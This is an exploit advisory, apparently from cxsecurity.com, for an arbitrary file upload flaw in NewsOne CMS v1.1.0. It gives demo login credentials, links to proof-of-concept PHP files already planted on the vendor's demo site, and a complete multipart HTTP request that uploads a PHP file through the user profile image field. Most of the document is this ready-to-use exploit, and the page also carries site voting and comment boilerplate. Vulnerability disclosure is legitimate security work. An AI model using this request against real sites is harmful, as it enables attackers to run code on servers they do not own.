NewsOne CMS – News, Magazine & Blog Script v1.1.0 Arbitrary File Upload

2020.01.19		
m0ze (https://cxsecurity.com/author/m0ze/1/) (RU)		
Risk: High	Local: No	Remote: Yes
CVE: N/A	CWE: CWE-434 (https://cxsecurity.com/cwe/CWE-434)	

```
# Exploit Title: NewsOne CMS – News, Magazine & Blog Script v1.1.0 Arbitrary File Upload
# Google Dork: -
# Date: 18/01/2020
# Exploit Author: m0ze
# Vendor Homepage: http://www.newsone.dx.am/index/index
# Software Link: https://codecanyon.net/item/newsone-news-magazine-blog-script/25384256
# Version: 1.1.0
# Tested on: Kali Linux
# CVE: -
# CWE: 434


----[]- Info: -[]----
Demo website: http://www.newsone.dx.am/index/index
Demo account: member/member12345 (login/password)
PoC Upload #0: http://www.newsone.dx.am/Application/Content/uploads/profile/up-up.php
PoC Upload #1: http://www.newsone.dx.am/Application/Content/uploads/profile/index.html
PoC Upload #2: http://www.newsone.dx.am/Application/Content/uploads/profile/up.phtml
PoC Upload #3: http://www.newsone.dx.am/Application/Content/uploads/profile/poc.php?m0ze&email=_your_email_here_


----[]- Arbitrary File Upload -> User Profile: -[]----
Auth as a regular user (member/member12345 for example) and upload any file you want on the http://www.newsone.dx.am/auth/edit page via <
input type="file" name="user_image"> field.

PoC:

POST /auth/edit HTTP/1.1
Host: www.newsone.dx.am
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Content-Length: 501
Origin: http://www.newsone.dx.am
Connection: close
Referer: http://www.newsone.dx.am/auth/edit
Cookie: _your_cookies_here_
Upgrade-Insecure-Requests: 1

-----------------------------18467633426500
Content-Disposition: form-data; name="member_id"

4
-----------------------------18467633426500
Content-Disposition: form-data; name="user_image"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php
        phpinfo();
?>
-----------------------------18467633426500
```

```
Content-Disposition: form-data; name="edit_user_photo"

Update Profile Photo
-----------------------------18467633426500--
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020010143)

Tr

Lul

Vote for this issue: 9 0

100%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)

Copyright **2022**, cxsecurity.com